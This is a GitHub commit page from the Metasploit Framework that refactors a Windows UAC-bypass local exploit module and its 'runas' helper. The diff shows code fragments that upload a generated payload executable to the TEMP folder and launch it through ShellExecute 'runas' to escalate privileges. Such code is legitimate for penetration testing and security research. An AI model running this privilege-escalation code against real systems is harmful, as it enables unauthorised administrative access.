Skip to content

Commit 8be813e

Browse files
committed
Merge runas updates from Meatballs1/update_bypass_uac
2 parents 844460d + a9fee9c commit 8be813e

File tree

2 files changed

+7
-20
lines changed

2 files changed

+7
-20
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
1212
def shell_execute_exe(filename = nil, path = nil)
1313
exe_payload = generate_payload_exe
1414
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
15-
payload_path = path || expand_path('%TEMP%')
15+
payload_path = path || get_env('TEMP')
1616
cmd_location = "#{payload_path}\\#{payload_filename}"
1717
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
1818
write_file(cmd_location, exe_payload)

modules/exploits/windows/local/bypassuac_injection.rb

Lines changed: 6 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Local
1414
include Post::File
1515
include Post::Windows::Priv
1616
include Post::Windows::ReflectiveDLLInjection
17+
include Post::Windows::Runas
1718

1819
def initialize(info={})
1920
super( update_info( info,
@@ -33,7 +34,9 @@ def initialize(info={})
3334
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
3435
'mitnick',
3536
'mubix', # Port to local exploit
36-
'Ben Campbell' # In memory technique
37+
'Ben Campbell', # In memory technique
38+
'Lesage', # Win8+ updates
39+
'OJ Reeves' # Win 8+ updates
3740
],
3841
'Platform' => [ 'win' ],
3942
'SessionTypes' => [ 'meterpreter' ],
@@ -76,7 +79,7 @@ def exploit
7679
print_good('BypassUAC can bypass this setting, continuing...')
7780
when UAC_NO_PROMPT
7881
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
79-
runas_method(env_vars['TEMP'])
82+
shell_execute_exe
8083
return
8184
end
8285

@@ -142,20 +145,6 @@ def check_permissions!
142145
end
143146
end
144147

145-
def runas_method(temp_dir)
146-
payload = generate_payload_exe
147-
payload_filename = Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
148-
temp_exe = "#{temp_dir}\\#{payload_filename}"
149-
150-
print_status("Uploading payload: #{temp_exe}")
151-
write_file(temp_exe, payload)
152-
register_file_for_cleanup(temp_exe)
153-
154-
print_status("Executing payload: #{temp_exe}")
155-
session.railgun.shell32.ShellExecuteA(nil, 'runas', temp_exe, nil, nil, 5)
156-
print_status('Payload executed.')
157-
end
158-
159148
def run_injection(pid, dll_path, file_paths)
160149
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
161150
begin
@@ -226,9 +215,7 @@ def validate_environment!
226215
if is_uac_enabled?
227216
print_status('UAC is Enabled, checking level...')
228217
else
229-
if is_in_admin_group?
230-
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
231-
else
218+
unless is_in_admin_group?
232219
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
233220
end
234221
end

0 commit comments

Comments
 (0)